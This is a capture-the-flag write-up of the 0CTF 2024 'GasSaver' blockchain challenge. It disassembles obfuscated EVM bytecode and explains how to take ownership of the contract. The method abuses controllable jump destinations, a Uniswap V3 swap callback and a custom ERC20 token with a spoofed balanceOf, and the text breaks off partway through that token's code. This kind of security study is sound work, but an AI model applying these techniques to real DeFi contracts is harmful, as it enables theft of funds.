Contents

0CTF 2024

https://i.imgur.com/EV6g8TN.png
0CTF 2024. We got fourth place

I played with the Blue Water team in 0CTF 2024. We got fourth place this time. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork!

During the CTF, I only had time to work on one challenge called GasSaver, which was a misc-rev-blockchain challenge and had only 5 solves by the end. Below is the writeup for it:

Blockchain

GasSaver

Description
Wait a sec… If you ain’t Vitalik, how the heck are you the owner?! 🤔

Initial Analysis

In this challenge, we were given a zip file containing the local setup for the challenge. Taking a quick look at the given launcher.py, we can see that the private infrastructure is not in a clean state, but rather forks the mainnet. Now, let’s take a look at the Challenge.sol file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IGasSaver {
    function owner() external view returns (address);
}

contract Challenge {
    address public gas_saver;
    address public player;
    constructor(address _player) {   
        address vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
        gas_saver = address(new GasSaver(vitalik));
        player = _player;
        require(player != vitalik, "You are Vitalik, this game is too easy for you");
    }

    function isSolved() public view returns (bool) {
        return IGasSaver(gas_saver).owner() == player;
    }
}

contract GasSaver {
    constructor(address owner) {
        bytes memory bytecode = hex"5f3560e01c80638da5cb5b1461008257333214610623576104a6565b7f23b872dd000000000000000000000000000000000000000000000000000000005f5230600452336024526024356044525f5f60645f5f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25af1005b5f3560e01c806313af4035146104925761008b565b005b46545f5260205ff35b005b7c04000000000000000000000000000000000000000000000000000000005f523d5f60043e3d6004015ffdfd0000005b5f5f355f1a565b610127565b6101e8565b6102ae565b61039e565b61032a565b7365ddbabf2d31e444c0929bbe54f17eafe91a879a77496620796f75206c696b652074686973206368616c6c2c2077796f752063616e2073656e64206d6520736f6d65206574685b005b601a015f5f60a45f5f60023560601c5f5f7f022c0d9f000000000000000000000000000000000000000000000000000000005f7fa9059cbb000000000000000000000000000000000000000000000000000000005f5284600452346024525f5f60445f5f73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb485af150526004526024526016357fffffffff00000000000000000000000000000000000000000000000000000000165f35461a523060445260806064525af16100805761008d565b6030017f128acb08000000000000000000000000000000000000000000000000000000005f5230600452602c3546355f1a5273fffd8963efd1fc6a506488495d951d5263988d2560645260a0608452602c60a4527fc02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000060c4526002357fffffffffffffffffffffffffffffffffffffffffffff00000000000000000000166105e960401b0160d85260405f60f05f5f600c355af13460201b5f515f0311166100805761008d565b6047017f128acb08000000000000000000000000000000000000000000000000000000005f523060045260433546355f1a5273fffd8963efd1fc6a506488495d951d5263988d2560645260a0608452602c60a452602c600360c43760405f60f05f5f6023355af1344635461a1b5f515f0311166100805761008d565b6047017f128acb08000000000000000000000000000000000000000000000000000000005f52306004524660245260433546355f1a1c5f036044526401000276a460645260a0608452602c60a452602c600360c43760405f60f05f5f6023355af1344635461a1b5f5110166100805761008d565b6047017f128acb08000000000000000000000000000000000000000000000000000000005f52306004524660245260433546355f1a526401000276a460645260a0608452602c60a452602c600360c43760405f60f05f5f6023355af1344635461a1b6020515f0311166100805761008d565b6047017f128acb08000000000000000000000000000000000000000000000000000000005f523060045260433546355f1a1c5f0360445273fffd8963efd1fc6a506488495d951d5263988d2560645260a0608452602c60a452602c600360c43760405f60f05f5f6023355af1344635461a1b60205110166100805761008d565f005b4654331461049e575f5ffd5b600435804655005b5f34116104905732737e5f4552091a69125d5dfcb7b8c2659029395bdf146104d2573346541461006b57005b60ae3560f05f501c60146084600c3760146098602c37600260ac605e3760605f207fff1f98431c8ad98523631ae4a59f267346ea31f98400000000000000000000005f52806015527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460355260555f2073ffffffffffffffffffffffffffffffffffffffff16331482577fffbaceb8ec6b9355dfc0269c18bac9d6e2bdc29c4f00000000000000000000005f526015527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460355260555f2073ffffffffffffffffffffffffffffffffffffffff16331490577c01000000000000000000000000000000000000000000000000000000005f5260045ffd5b7fa9059cbb000000000000000000000000000000000000000000000000000000005f52336004526024356024525f5f60445f5f608c355af1005b33737e5f4552091a69125d5dfcb7b8c2659029395bdf146100bd5761006b56";
        assembly {
            sstore(1, owner)
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

As we can see, there are two contracts here. The first one is the Challenge and the second one is GasSaver. Looking at the Challenge.isSolved() function, we can deduce that the goal for the challenge is to somehow take ownership of the GasSaver contract. So now, let’s start to take a look at the GasSaver contract.

The challenge only shares the runtime bytecode of the contract, so we will need to disassemble it first. Let’s use Dedaub EVM Decompiler to analyze the bytecode. First, let’s try to take a look at the decompiled result

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function setOwner(address _owner) public payable { 
    require(msg.sender == STORAGE[CHAINID()]);
    STORAGE[CHAINID()] = _owner;
}

function owner() public payable { 
    return STORAGE[CHAINID()];
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector, uint256 varg1) public payable { 
    if (0x8da5cb5b == function_selector >> 224) {
        owner();
    } else {
        if (tx.origin == msg.sender) {
            if (0x7e5f4552091a69125d5dfcb7b8c2659029395bdf != msg.sender) {
            }
        } else {
            assert(msg.value <= 0);
            if (0x7e5f4552091a69125d5dfcb7b8c2659029395bdf == tx.origin) {
                CALLDATACOPY(12, 132, 20);
                CALLDATACOPY(44, 152, 20);
                CALLDATACOPY(94, 172, 2);
                revert();
            } else if (STORAGE[CHAINID()] != msg.sender) {
                exit;
            }
        }
        if (0x13af4035 == function_selector >> 224) {
            setOwner(address);
        } else {
            exit;
        }
    }
}

There are two functions named owner() and setOwner(). However, we can only call setOwner if we are the owner itself, which seems impossible. Notice that there is some weird behavior happening in the function selector, where there appears to be a lot of hidden code that couldn’t be fully decompiled. Looking at it at a glance, there is some condition checking regarding tx.origin and msg.sender, where we might be able to do other things with it. To understand more, let’s examine the bytecode itself step by step.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    0x0: PUSH0     
    0x1: CALLDATALOAD
    0x2: PUSH1     0xe0
    0x4: SHR       
    0x5: DUP1      
    0x6: PUSH4     0x8da5cb5b
    0xb: EQ        
    0xc: PUSH2     0x82
    0xf: JUMPI     
   0x10: CALLER    
   0x11: ORIGIN    
   0x12: EQ        
   0x13: PUSH2     0x623
   0x16: JUMPI
   0x17: PUSH2     0x4a6
   0x1a: JUMP

Taking a look at the bytecode, when we run the contract, it first checks whether the passed function selector is owner() or not. Then, if it is not owner(), it checks whether tx.origin == msg.sender. If this is true, it jumps to address 0x623, else it jumps to address 0x4a6. Let’s try to find out what it does, specifically examining the first branch first.

1
2
3
4
5
6
  0x623: JUMPDEST  
  0x624: CALLER    
  0x625: PUSH20    0x7e5f4552091a69125d5dfcb7b8c2659029395bdf
  0x63a: EQ        
  0x63b: PUSH2     0xbd
  0x63e: JUMPI

It checks whether the caller is 0x7e5f4552091a69125d5dfcb7b8c2659029395bdf. If true, it jumps to 0xbd. Below are the instructions starting at 0xbd:

1
2
3
4
5
6
7
   0xbd: JUMPDEST  
   0xbe: PUSH0     
   0xbf: PUSH0     
   0xc0: CALLDATALOAD
   0xc1: PUSH0     
   0xc2: BYTE      
   0xc3: JUMP

We can see that it will try to fetch the first byte of our calldata, then jump to it. This means that if we can call this contract with the correct msg.sender, we can set the first byte of our calldata to any JUMPDEST address (with the limitation that the address needs to be <= 0xFF). This means we can partially control where the execution should continue.

Before continuing to check each available JUMPDEST that we can jump into, remember that the requirement is that msg.sender needs to be 0x7e5f4552091a69125d5dfcb7b8c2659029395bdf. Googling that address, it turns out the address’s private key is known, which is 0x1. This means that we can call the GasSaver contract as this address, so now let’s start checking the available JUMPDEST locations we can use.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Available JUMPDEST <= 0xFF
- 0x1b -> call WETH and STOP
- 0x6b -> It just continue execution and compare calldataload whether it is setOwner or not
- 0x80 -> STOP
- 0x82 -> JUMP TO owner()
- 0x8b -> STOP
- 0x8d -> REVERT 0x4
- 0xbd -> Will continue to the jump itself
- 0xc4 -> JUMP to 0x127
- 0xc9 -> JUMP to 0x1E8
- 0xce -> JUMP to 0x2ae
- 0xd3 -> JUMP to 0x39e
- 0xd8 -> JUMP to 0x32A
- 0xdd -> STOP

Some interesting things we can see after listing the available JUMPDEST locations is that some of them will actually continue our jump to the two-byte address area. So now, we need to check one by one what each of them does in detail.

JUMPDEST 0xc4 -> JUMPDEST 0x127

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  0x127: JUMPDEST  
  0x128: PUSH1     0x1a
  0x12a: ADD       
  0x12b: PUSH0     
  0x12c: PUSH0     
  0x12d: PUSH1     0xa4
  0x12f: PUSH0     
  0x130: PUSH0     
  0x131: PUSH1     0x2
  0x133: CALLDATALOAD
  0x134: PUSH1     0x60
  0x136: SHR       
  0x137: PUSH0     
  0x138: PUSH0     
  0x139: PUSH32    0x22c0d9f00000000000000000000000000000000000000000000000000000000
  0x15a: PUSH0     
  0x15b: PUSH32    0xa9059cbb00000000000000000000000000000000000000000000000000000000
  0x17c: PUSH0     
  0x17d: MSTORE    
  0x17e: DUP5      
  0x17f: PUSH1     0x4
  0x181: MSTORE    
  0x182: CALLVALUE 
  0x183: PUSH1     0x24
  0x185: MSTORE    
  0x186: PUSH0     
  0x187: PUSH0     
  0x188: PUSH1     0x44
  0x18a: PUSH0     
  0x18b: PUSH0     
  0x18c: PUSH20    0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48
  0x1a1: GAS       
  0x1a2: CALL

We can also use the help of cast debugger to help understand the bytecode easier, but basically it will make a call to 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48, which upon looking at the etherscan, it is a USDC address. Let’s keep this in our mind first.

JUMPDEST 0xc9 -> JUMPDEST 0x1e8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
  0x1e8: JUMPDEST  
  0x1e9: PUSH1     0x30
  0x1eb: ADD       
  0x1ec: PUSH32    0x128acb0800000000000000000000000000000000000000000000000000000000
  0x20d: PUSH0     
  0x20e: MSTORE    
  0x20f: ADDRESS   
  0x210: PUSH1     0x4
  0x212: MSTORE    
  0x213: PUSH1     0x2c
  0x215: CALLDATALOAD
  0x216: CHAINID   
  0x217: CALLDATALOAD
  0x218: PUSH0     
  0x219: BYTE      
  0x21a: MSTORE    
  0x21b: PUSH20    0xfffd8963efd1fc6a506488495d951d5263988d25
  0x230: PUSH1     0x64
  0x232: MSTORE    
  0x233: PUSH1     0xa0
  0x235: PUSH1     0x84
  0x237: MSTORE    
  0x238: PUSH1     0x2c
  0x23a: PUSH1     0xa4
  0x23c: MSTORE    
  0x23d: PUSH32    0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000
  0x25e: PUSH1     0xc4
  0x260: MSTORE    
  0x261: PUSH1     0x2
  0x263: CALLDATALOAD
  0x264: PUSH32    0xffffffffffffffffffffffffffffffffffffffffffff00000000000000000000
  0x285: AND       
  0x286: PUSH2     0x5e9
  0x289: PUSH1     0x40
  0x28b: SHL       
  0x28c: ADD       
  0x28d: PUSH1     0xd8
  0x28f: MSTORE    
  0x290: PUSH1     0x40
  0x292: PUSH0     
  0x293: PUSH1     0xf0
  0x295: PUSH0     
  0x296: PUSH0     
  0x297: PUSH1     0xc
  0x299: CALLDATALOAD
  0x29a: GAS       
  0x29b: CALL      
  0x29c: CALLVALUE 
  0x29d: PUSH1     0x20
  0x29f: SHL       
  0x2a0: PUSH0     
  0x2a1: MLOAD     
  0x2a2: PUSH0     
  0x2a3: SUB       
  0x2a4: GT        
  0x2a5: AND       
  0x2a6: PUSH2     0x80
  0x2a9: JUMPI     
  0x2aa: PUSH2     0x8d
  0x2ad: JUMP 

To help our life easier, let’s just debug this with the help of cast debugger. Notice that similar to the previous code, there is a CALL instruction, so we can start the debugger and try to stop during that call. To run the debugger, simply do this command:

1
cast call <gas_saver_address> <calldata> -r <rpc_url> --private-key <priv_key> --trace --debug

Let’s try to pass 0xc94141414141414141 calldata and check what happen in the debugger

Based on the given bytecode and memory inspection in the debugger, we can see that this piece of code will perform a swap(address,bool,int256,uint160,bytes) call (based on the given function selector). From the calldata, we can actually control some of the swap parameters. This is the function selector of a Uniswap pool, and the details of the parameters can be found here. Based on reading the bytecode:

  • It sets the recipient to itself
  • It sets zeroForOne to false
  • It sets sqrtPriceLimitX96 to 0xfffd8963efd1fc6a506488495d951d5263988d25
  • It sets the CALL target address to CALLDATALOAD[0x23]
  • It also partially sets the data parameter, where the data size is 0x2c. It sets the first 20 bytes with the address 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2, which is WETH, and we can set the remaining 24 bytes, which is taken from and(CALLDATALOAD[0x2], 0xffffffffffffffffffffffffffffffffffffffffffff00000000000000000000) + (0x5e9 << 0x40)
  • We are also given permission to perform a one-time memory write: MSTORE[BYTES(CALDATA[0x1])] = CALDATALOAD[0x2c]

We will discuss more about UniswapV3 after we finish reading all of the bytecode.

JUMPDEST 0xce -> JUMPDEST 0x2ae

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
  0x2ae: JUMPDEST  
  0x2af: PUSH1     0x47
  0x2b1: ADD       
  0x2b2: PUSH32    0x128acb0800000000000000000000000000000000000000000000000000000000
  0x2d3: PUSH0     
  0x2d4: MSTORE    
  0x2d5: ADDRESS   
  0x2d6: PUSH1     0x4
  0x2d8: MSTORE    
  0x2d9: PUSH1     0x43
  0x2db: CALLDATALOAD
  0x2dc: CHAINID   
  0x2dd: CALLDATALOAD
  0x2de: PUSH0     
  0x2df: BYTE      
  0x2e0: MSTORE    
  0x2e1: PUSH20    0xfffd8963efd1fc6a506488495d951d5263988d25
  0x2f6: PUSH1     0x64
  0x2f8: MSTORE    
  0x2f9: PUSH1     0xa0
  0x2fb: PUSH1     0x84
  0x2fd: MSTORE    
  0x2fe: PUSH1     0x2c
  0x300: PUSH1     0xa4
  0x302: MSTORE    
  0x303: PUSH1     0x2c
  0x305: PUSH1     0x3
  0x307: PUSH1     0xc4
  0x309: CALLDATACOPY
  0x30a: PUSH1     0x40
  0x30c: PUSH0     
  0x30d: PUSH1     0xf0
  0x30f: PUSH0     
  0x310: PUSH0     
  0x311: PUSH1     0x23
  0x313: CALLDATALOAD
  0x314: GAS       
  0x315: CALL      
  0x316: CALLVALUE 
  0x317: CHAINID   
  0x318: CALLDATALOAD
  0x319: CHAINID   
  0x31a: BYTE      
  0x31b: SHL       
  0x31c: PUSH0     
  0x31d: MLOAD     
  0x31e: PUSH0     
  0x31f: SUB       
  0x320: GT        
  0x321: AND       
  0x322: PUSH2     0x80
  0x325: JUMPI     
  0x326: PUSH2     0x8d
  0x329: JUMP 

This is quite similar to the previous action, where it will call swap. However, there are differences in the parameters:

  • We can set the entire data that will be passed to the swap() function, which is taken from CALLDATA[0x3:0x3+0x2c].
  • We are also given permission to do a one-time memory store: MSTORE[BYTE(CALLDATA[0x1])] = CALLDATALOAD[0x43].

JUMPDEST 0xd3 -> JUMPDEST 0x39e

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
  0x39e: JUMPDEST  
  0x39f: PUSH1     0x47
  0x3a1: ADD       
  0x3a2: PUSH32    0x128acb0800000000000000000000000000000000000000000000000000000000
  0x3c3: PUSH0     
  0x3c4: MSTORE    
  0x3c5: ADDRESS   
  0x3c6: PUSH1     0x4
  0x3c8: MSTORE    
  0x3c9: CHAINID   
  0x3ca: PUSH1     0x24
  0x3cc: MSTORE    
  0x3cd: PUSH1     0x43
  0x3cf: CALLDATALOAD
  0x3d0: CHAINID   
  0x3d1: CALLDATALOAD
  0x3d2: PUSH0     
  0x3d3: BYTE      
  0x3d4: MSTORE    
  0x3d5: PUSH5     0x1000276a4
  0x3db: PUSH1     0x64
  0x3dd: MSTORE    
  0x3de: PUSH1     0xa0
  0x3e0: PUSH1     0x84
  0x3e2: MSTORE    
  0x3e3: PUSH1     0x2c
  0x3e5: PUSH1     0xa4
  0x3e7: MSTORE    
  0x3e8: PUSH1     0x2c
  0x3ea: PUSH1     0x3
  0x3ec: PUSH1     0xc4
  0x3ee: CALLDATACOPY
  0x3ef: PUSH1     0x40
  0x3f1: PUSH0     
  0x3f2: PUSH1     0xf0
  0x3f4: PUSH0     
  0x3f5: PUSH0     
  0x3f6: PUSH1     0x23
  0x3f8: CALLDATALOAD
  0x3f9: GAS       
  0x3fa: CALL      
  0x3fb: CALLVALUE 
  0x3fc: CHAINID   
  0x3fd: CALLDATALOAD
  0x3fe: CHAINID   
  0x3ff: BYTE      
  0x400: SHL       
  0x401: PUSH1     0x20
  0x403: MLOAD     
  0x404: PUSH0     
  0x405: SUB       
  0x406: GT        
  0x407: AND       
  0x408: PUSH2     0x80
  0x40b: JUMPI     
  0x40c: PUSH2     0x8d
  0x40f: JUMP

Again, this is quite similar to the previous action (0xce), which calls swap, with these differences:

  • It sets zeroForOne to true
  • It sets sqrtPriceLimitX96 to 0x1000276a4

JUMPDEST 0xd8 -> JUMPDEST 0x32a

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
  0x32a: JUMPDEST  
  0x32b: PUSH1     0x47
  0x32d: ADD       
  0x32e: PUSH32    0x128acb0800000000000000000000000000000000000000000000000000000000
  0x34f: PUSH0     
  0x350: MSTORE    
  0x351: ADDRESS   
  0x352: PUSH1     0x4
  0x354: MSTORE    
  0x355: CHAINID   
  0x356: PUSH1     0x24
  0x358: MSTORE    
  0x359: PUSH1     0x43
  0x35b: CALLDATALOAD
  0x35c: CHAINID   
  0x35d: CALLDATALOAD
  0x35e: PUSH0     
  0x35f: BYTE      
  0x360: SHR       
  0x361: PUSH0     
  0x362: SUB       
  0x363: PUSH1     0x44
  0x365: MSTORE    
  0x366: PUSH5     0x1000276a4
  0x36c: PUSH1     0x64
  0x36e: MSTORE    
  0x36f: PUSH1     0xa0
  0x371: PUSH1     0x84
  0x373: MSTORE    
  0x374: PUSH1     0x2c
  0x376: PUSH1     0xa4
  0x378: MSTORE    
  0x379: PUSH1     0x2c
  0x37b: PUSH1     0x3
  0x37d: PUSH1     0xc4
  0x37f: CALLDATACOPY
  0x380: PUSH1     0x40
  0x382: PUSH0     
  0x383: PUSH1     0xf0
  0x385: PUSH0     
  0x386: PUSH0     
  0x387: PUSH1     0x23
  0x389: CALLDATALOAD
  0x38a: GAS       
  0x38b: CALL      
  0x38c: CALLVALUE 
  0x38d: CHAINID   
  0x38e: CALLDATALOAD
  0x38f: CHAINID   
  0x390: BYTE      
  0x391: SHL       
  0x392: PUSH0     
  0x393: MLOAD     
  0x394: LT        
  0x395: AND       
  0x396: PUSH2     0x80
  0x399: JUMPI     
  0x39a: PUSH2     0x8d
  0x39d: JUMP  

Similar to the previous action (0xd3) which calls swap, but with one difference:

  • We are given permission to do a one-time memory store: MSTORE[0x44] = CALDATALOAD[0x43] >> CALLDATALOAD[0x1].

Now that we know the possible jump that we can do, we can see that this GasSaver contracts was actually looking like a MEV bot, and up until now, we can only know that we can only force the contract to call swap() with some parameter.

Remember before that there is another check happening as well if tx.origin != msg.sender and tx.origin == 0x7e5f4552091a69125d5dfcb7b8c2659029395bdf. Let’s take a look at the bytecode and check what happen with it. The bytecode is located starting at 0x4a6.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
  0x4a6: JUMPDEST  
  0x4a7: PUSH0     
  0x4a8: CALLVALUE 
  0x4a9: GT        
  0x4aa: PUSH2     0x490
  0x4ad: JUMPI     
  0x4ae: ORIGIN    
  0x4af: PUSH20    0x7e5f4552091a69125d5dfcb7b8c2659029395bdf
  0x4c4: EQ        
  0x4c5: PUSH2     0x4d2
  0x4c8: JUMPI    

It will check whether msg.value is 0 or not, then if the origin is correct, it will jump to 0x4d2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
  0x4d2: JUMPDEST  
  0x4d3: PUSH1     0xae
  0x4d5: CALLDATALOAD
  0x4d6: PUSH1     0xf0
  0x4d8: PUSH0     
  0x4d9: POP       
  0x4da: SHR       
  0x4db: PUSH1     0x14
  0x4dd: PUSH1     0x84
  0x4df: PUSH1     0xc
  0x4e1: CALLDATACOPY
  0x4e2: PUSH1     0x14
  0x4e4: PUSH1     0x98
  0x4e6: PUSH1     0x2c
  0x4e8: CALLDATACOPY
  0x4e9: PUSH1     0x2
  0x4eb: PUSH1     0xac
  0x4ed: PUSH1     0x5e
  0x4ef: CALLDATACOPY
  0x4f0: PUSH1     0x60
  0x4f2: PUSH0     
  0x4f3: SHA3      
  0x4f4: PUSH32    0xff1f98431c8ad98523631ae4a59f267346ea31f9840000000000000000000000
  0x515: PUSH0     
  0x516: MSTORE    
  0x517: DUP1      
  0x518: PUSH1     0x15
  0x51a: MSTORE    
  0x51b: PUSH32    0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54
  0x53c: PUSH1     0x35
  0x53e: MSTORE    
  0x53f: PUSH1     0x55
  0x541: PUSH0     
  0x542: SHA3      
  0x543: PUSH20    0xffffffffffffffffffffffffffffffffffffffff
  0x558: AND       
  0x559: CALLER    
  0x55a: EQ        
  0x55b: DUP3      
  0x55c: JUMPI

First, without reading the full bytecode, notice that there are some hardcoded values in it. After Googling these values, we can determine that they are part of the UniswapV3Factory deployment code, where 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54 is the POOL_INIT_CODE_HASH. Additionally, 0x1f98431c8ad98523631ae4a59f267346ea31f984 is the address of UniswapV3Factory. If we skim through the bytecode, we can observe that this is actually replicating what computeAddress does, which deterministically calculates the pool address and checks whether the caller is the computed address or not.

The details of the operation are that if someone calls this GasSaver contract and fulfills the tx.origin requirement, it will try to compute the address, which basically does:

1
2
3
4
5
6
7
8
keccak256(
    abi.encodePacked(
        hex'ff',
        factory,
        keccak256(abi.encode(CALLDATA[0x84:0x98], CALLDATA[0x98:0xAC], CALLDATA[0xAC:0xAE])),
        POOL_INIT_CODE_HASH
    )
)

Then, it will check whether msg.sender equals the computed address or not. If yes, it will jump to the address specified in CALLDATA[0xAE:0xB0]. Note that this means we can jump to two-byte addresses. There is an interesting JUMPDEST at 0x49e.

1
2
3
4
5
6
7
  0x49e: JUMPDEST  
  0x49f: PUSH1     0x4
  0x4a1: CALLDATALOAD
  0x4a2: DUP1      
  0x4a3: CHAINID   
  0x4a4: SSTORE    
  0x4a5: STOP   

This was the main function of setOwner, where we can set the owner with the value of CALLDATALOAD[0x4].

Now, it is clear that the main goal of this challenge is to somehow make a deployed Uniswap V3 Pool call this contract, with the hope that we can control the execution flow to jump to 0x49e.

We can conclude our analysis of the bytecode here and move on to crafting the solution.

Solution

So now, how can we make a deployed pool of Uniswap V3 call this contract?

Uniswap V3 Callback

The answer is that we need to learn the basics of Uniswap V3 first. Reading through the documentation of Uniswap V3, we notice that they have a mechanism named callback. Basically, every time a contract calls pool.swap, V3 will do a callback back to it, with a signature like below:

1
2
3
4
5
  function uniswapV3SwapCallback(
    int256 amount0Delta,
    int256 amount1Delta,
    bytes data
  ) external

Usually, this callback is used by the caller to resolve the owed amount - based on the given delta, they will transfer the total required amount to the pool to complete the swap.

Crafting the Solution

With this understanding of Uniswap V3’s callback mechanism, we can devise a solution. Using the one-byte jump capability, we can force the contract to make a swap() call to a Uniswap V3 Pool. This will trigger the Pool to make a callback to GasSaver via uniswapV3SwapCallback. During this callback:

  1. tx.origin will still be us (the original caller)
  2. msg.sender will be the Pool address itself This means the code will enter the branch that verifies if the computed address matches a Pool. If this check passes, we can jump to our desired two-byte address target.

The path to solve this challenge is quite clear now. To recap, with the one-byte jump, we need to trigger a swap() call to a Uniswap pool, then the Uniswap pool will do uniswapV3SwapCallback back to the GasSaver, and if the computedAddress is correct, it will do a two-byte jump.

However, remember that we still need to control the CALLDATA so that it can jump properly to our target. First, observe that when we redirect the execution to 0x49e, to be able to set the owner properly, we need to make sure the CALLDATA[0x4:0x24] is the target owner (which is the player address). This means the amount0delta is required to be the same as the player address. The data itself is needed by the contract because it will be used to compute the pool address and set the jump destination.

So now, let’s try to take a deep look at how Uniswap v3 swap works and the callback arguments that we need to pass. First, remember that the amount0delta needs to be positive, where the value needs to be exactly the same as the address of the player. Reading through the Uniswap V3 code and documentation, a positive amount0delta during callback means that we owe the pool that amount of money, and we need to transfer it to the pool. To trigger this, we can try to do a swap with zeroForOne set to true (which means that we want to swap token0 for token1). We don’t care about the amount1delta because it isn’t needed. The data is easy to control because it is actually just forwarding the data that we pass during swap().

Taking a close look at the swap() code, when we pass a positive amount of amountSpecified, that means we are asking the pool to do an exactAmountIn swap. Intuitively, this means that if the pool contains enough liquidity, the amount0delta that is passed during the callback will be the same as the amountSpecified during swap. The only case where it differs is if the pool doesn’t have enough liquidity, or the price is below the sqrtPriceLimitX96 passed during calling the swap.

Now, notice that there isn’t any limitation regarding what token0 and token1 we can use, and what pool we can use. It is clear that the easiest way is to deploy our own custom pool and token, so that we can provide the pool with enough liquidity, and triggering a huge swap with total token equal to the player address will be possible.

First, let’s think about how to deploy a custom pool. There are two things we need to consider:

  • What should the initial price be?
  • How much liquidity should we provide and in what range?

If you’re not familiar with Uniswap V3, you can read about its concepts first, but the tl;dr is that it uses concentrated liquidity, where the price is calculated from a tick, and users can provide liquidity within a range of ticks.

The goal with our custom pool is to enable swapping a huge amount of token0. Intuitively, the easiest way to do this is to provide maximum liquidity across a very wide range of ticks. Note that since we can deploy our own tokens, the huge amount required to provide liquidity isn’t an issue - we can simply mint as many tokens as we need.

So, we can use the UniswapV3Factory to deploy a new pool (to fulfill the computeAddress check performed by the GasSaver contract), then mint huge liquidity across a wide range. Be careful that there is a maxLiquidityPerTick, so ensure that the liquidity you provide is below it. If you want to be more precise, you can actually take a deep look at how the pool calculates the amount based on the liquidity, but for this challenge, we don’t really need to do that.

To trigger the swap, we can use the 0xd3 path, which will ask the GasSaver to do a swap() with:

  • zeroForOne set to true (so that the amount0delta will be positive)
  • priceLimit set to the lowest tick possible in a Uniswap pool (MIN_TICK)

When we swap token0 for token1, the Uniswap pool will shift the tick left until it fully accommodates the exactAmountIn that we passed.

Because the price limit is set to the lowest possible value, we’re essentially saying we don’t care about the price - we just want to swap all of the specified amount of token0 for token1.

Regarding the initial price, intuitively, it will be easier for us to set it close to the tickUpper that we passed during the mint before. This way, we can maximize the amount of token0 we can swap in, since there will be a huge range between the initial price and the lower tick that we can consume during the swap.

Now that we know how to deploy the pool and the swap, there is one more thing that we need to consider. Let’s take a look at how the Uniswap do the callback.

1
2
3
4
5
6
7
if (zeroForOne) {
    if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));

    uint256 balance0Before = balance0();
    IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);
    require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');
}

There is one more check that we need to pass, which is that the balance0() after the callback needs to be increased at least to balance0Before + amount0. Remember that the swapCallback target is the GasSaver contract, and with properly controlled data, it will do setOwner(), but it doesn’t actually do any balance transfer. This means it will fail the final check because the balance isn’t changed.

In order to pass this check, we need to make some modifications to the balanceOf function in our custom Token. Note that the swap uses a staticcall when fetching the balance, so the balanceOf function isn’t allowed to do any state modifications. The easiest way to pass this check is to override the balanceOf to first check who is the owner of the GasSaver. If the owner is still vitalik, return 0, then after a successful callback, the owner will be changed to player. During the second balance check call, when it checks the owner, because it isn’t vitalik anymore, return the maximum amount.

Executing the Solution

Now that we know how to do this, we can start crafting our exploit. First, let’s start by crafting our custom token. Below is my implementation of the token.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IGasSaver {
    function owner() external view returns (address);
}

contract Token is ERC20 {
    IGasSaver public gasSaver;
    bool spoofBalance;
    constructor(address gasSaver_) ERC20("MockToken", "MTKN") {
        gasSaver =IGasSaver(gasSaver_);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (spoofBalance) {
            if (gasSaver.owner() == address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045)) {
                return 0;
            }
            return 2**256-1;
        }
        return super.balanceOf(account);
    }

    function transfer(address account, uint256 value) public override returns (bool) {
        if (spoofBalance) {
